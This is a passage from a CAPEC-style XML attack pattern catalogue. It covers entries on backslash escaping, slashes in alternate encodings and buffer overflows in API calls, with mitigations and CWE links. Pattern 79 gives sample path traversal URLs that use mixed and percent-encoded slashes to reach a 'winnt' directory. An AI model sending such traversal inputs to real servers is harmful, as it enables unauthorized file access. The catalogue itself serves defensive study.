			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Verify that the user-supplied data does not use backslash character to
						escape malicious characters.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Be aware of the threat of alternative method of data encoding.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Regular expressions can be used to filter out backslash. Make sure you
						decode before filtering and validating the untrusted input data.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>In the case of path traversals, use the principle of least privilege when
						determining access rights to file systems. Do not allow users to access
						directories/files that they should not access.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Any security checks should occur after the data has been decoded and
						validated as correct data format. Do not repeat decoding process, if bad
						character are left after decoding process, treat the data as suspicious, and
						fail the validation process.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Avoid making decisions based on names of resources (e.g. files) if those
						resources can have alternate names.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The user supplied data (e.g., HTTP request)</Text>
			</Injection_Vector>
			<Payload>
				<Text>The backslash character injected in the user supplied data. The backslash
					character can be obfuscated with alternate encoding.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The command or request interpreter used on the host target may consider the
					backslash character as escape character.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The character following the backslash character will be escaped (i.e,
						unfiltered) and may cause harmful effects.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>180<!--Incorrect Behavior Order: Validate Before Canonicalize--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>181<!--Incorrect Behavior Order: Validate Before Filter--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>73<!--External Control of File Name or Path--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>21<!--Pathname Traversal and Equivalence Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>22<!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>64<!--Using Slashes and URL Encoding Combined to Bypass Validation Logic--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>79<!--Using Slashes in Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>71<!--Using Unicode Encoding to Bypass Validation Logic--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>43<!--Exploiting Multiple Input Interpretation Layers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>126<!--Path Traversal--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>All client-supplied input must be validated through filtering and all
						output must be properly escaped.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never trust user-supplied input.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="79" Name="Using Slashes in Alternate Encoding"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets the encoding of the Slash characters. An attacker
						would try to exploit common filtering problems related to the use of the
						slashes characters to gain access to resources on the target host.
						Directory-driven systems, such as file systems and databases, typically use
						the slash character to indicate traversal between directories or other
						container components. For murky historical reasons, PCs (and, as a result,
						Microsoft OSs) choose to use a backslash, whereas the UNIX world typically
						makes use of the forward slash. The schizophrenic result is that many
						MS-based systems are required to understand both forms of the slash. This
						gives the attacker many opportunities to discover and abuse a number of
						common filtering problems. The goal of this pattern is to discover server
						software that only applies filters to one version, but not the other.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="-1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker has access to a resource path and
												required to use slashes as resource
												delimiter.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker tries variation and combination of
												the slashes characters in different encoding
												format.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker found an unfiltered combination which
												maps to a valid path and accesses unauthorized
												resources (directories, files, etc.)</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application server accepts paths to locate resources.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The application server does insufficient input data validation on the
						resource path requested by the user.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The access right to resources are not set properly.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Slashes in Alternate Encodings</Text_Title>
						<Text>The two following requests are equivalent on most Web servers:</Text>
						<Block>
							<Code>http://target server/some_directory\..\..\..\winnt</Code>
						</Block>
						<Text>is equivalent to</Text>
						<Block>
							<Code>http://target server/some_directory/../../../winnt</Code>
						</Block>
						<Text>Multiple encoding conversion problems can also be leveraged as various
							slashes are instantiated in URL-encoded, UTF-8, or unicode. Consider the
							strings</Text>
						<Block>
							<Code>http://target server/some_directory\..%5C..%5C..\winnt</Code>
						</Block>
						<Text>where %5C is equivalent to the \ character.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can try variation of the slashes characters.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can use more sophisticated tool or script to scan a
							website and find a path filtering problem.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>An attacker can try different encoding formats for the slashes
							characters and see if they produce the same filtering results.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Automated tools such as fuzzer can be used to test the URL decoding
							and filtering. Custom scripts can also be used. For example, a good
							script for verifying the correct interpretation of UTF-8 encoded
							characters can be found at
							http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>If the first path decoding process has left some invalid or
							blacklisted characters, that may be a sign that the request is
							malicious.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Traffic filtering with IDS (or proxy) can detect request with
							suspicious URLs. IDS may use signature based identification to reveal
							such URL based attacks.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>A attacker can use a fuzzer in order to probe for a UTF-8 encoding
							vulnerability. The fuzzer should generate suspiscious network
							activity.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Typically the obfuscation here is the use of different alternate
							encoding format (UTF-8, Unicode, etc,)</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Any security checks should occur after the data has been decoded and
						validated as correct data format. Do not repeat decoding process, if bad
						character are left after decoding process, treat the data as suspicious, and
						fail the validation process. Refer to the RFCs to safelly decode URL.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>When client input is required from web-based forms, avoid using the "GET"
						method to submit data, as the method causes the form data to be appended to
						the URL and is easily manipulated. Instead, use the "POST method whenever
						possible.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>There are tools to scan HTTP requests to the server for valid URL such as
						URLScan from Microsoft
						(http://www.microsoft.com/technet/security/tools/urlscan.mspx)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Be aware of the threat of alternative method of data encoding and
						obfuscation technique such as IP address endoding. (See related guideline
						section)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Test your path decoding process against malicious input.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>In the case of path traversals, use the principle of least privilege when
						determining access rights to file systems. Do not allow users to access
						directories/files that they should not access.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the application based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The injection vector is a string path such as URL path.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The injection vector is a string path with malicious slashes characters.
					Alternate encoding format can also be used to code the slashes
					characters.</Text>
			</Payload>
			<Activation_Zone/>
			<Payload_Activation_Impact>
				<Description>
					<Text>The impact of the payload is access to unauthorized resources.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>180<!--Incorrect Behavior Order: Validate Before Canonicalize--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>181<!--Incorrect Behavior Order: Validate Before Filter--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>73<!--External Control of File Name or Path--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>21<!--Pathname Traversal and Equivalence Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>22<!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>185<!--Incorrect Regular Expression--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>200<!--Information Exposure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>71<!--Using Unicode Encoding to Bypass Validation Logic--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>43<!--Exploiting Multiple Input Interpretation Layers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>126<!--Path Traversal--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Least privilege</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Reluctance to trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>UTF-8 and Unicode FAQ for Unix/Linux, by Markus Kuhn -
							http://www.cl.cam.ac.uk/~mgk25/unicode.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>URL encoded attacks, by Gunter Ollmann -
							http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="8" Name="Buffer Overflow in an API Call" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets libraries or shared code modules which are vulnerable
						to buffer overflow attacks. An attacker who has access to an API may try to
						embed malicious code in the API function call and exploit a buffer overflow
						vulnerability in the function's implementation. All clients that make use of
						the code library thus become vulnerable by association. This has a very
						broad effect on security across a system, usually affecting more than one
						software process.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker can call an API exposed by the target
												host.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>On the probing stage, the attacker injects
												malicious code using the API call and observes the
												results. The attacker's goal is to uncover a buffer
												overflow vulnerability.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker finds a buffer overflow
												vulnerability, crafts malicious code and injects it
												through an API call. The attacker can at worst
												execute remote code on the target host.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target host exposes an API to the user.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>One or more API functions exposed by the target host has a buffer overflow
						vulnerability.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Libc in FreeBSD</Text_Title>
						<Text>A buffer overflow in the FreeBSD utility setlocale (found in the libc
							module) puts many programs at risk all at once.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Xtlib</Text_Title>
						<Text>A buffer overflow in the Xt library of the X windowing system allows
							local users to execute commands with root privileges.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can simply overflow a buffer by inserting a long string
							into an attacker-modifiable injection vector. The result can be a
							DoS.</Text>
						<Text>High : Exploiting a buffer overflow to inject malicious code into the
							stack of a software system or even the heap can require a higher skill
							level.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use a language or compiler that performs automatic bounds checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use secure functions not vulnerable to buffer overflow.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>If you have to use dangerous functions, make sure that you do boundary
						checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Compiler-based canary mechanisms such as StackGuard, ProPolice and the
						Microsoft Visual Studio /GS flag. Unless this provides automatic bounds
						checking, it is not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use OS-level preventative functionality. Not a complete solution.</Text>
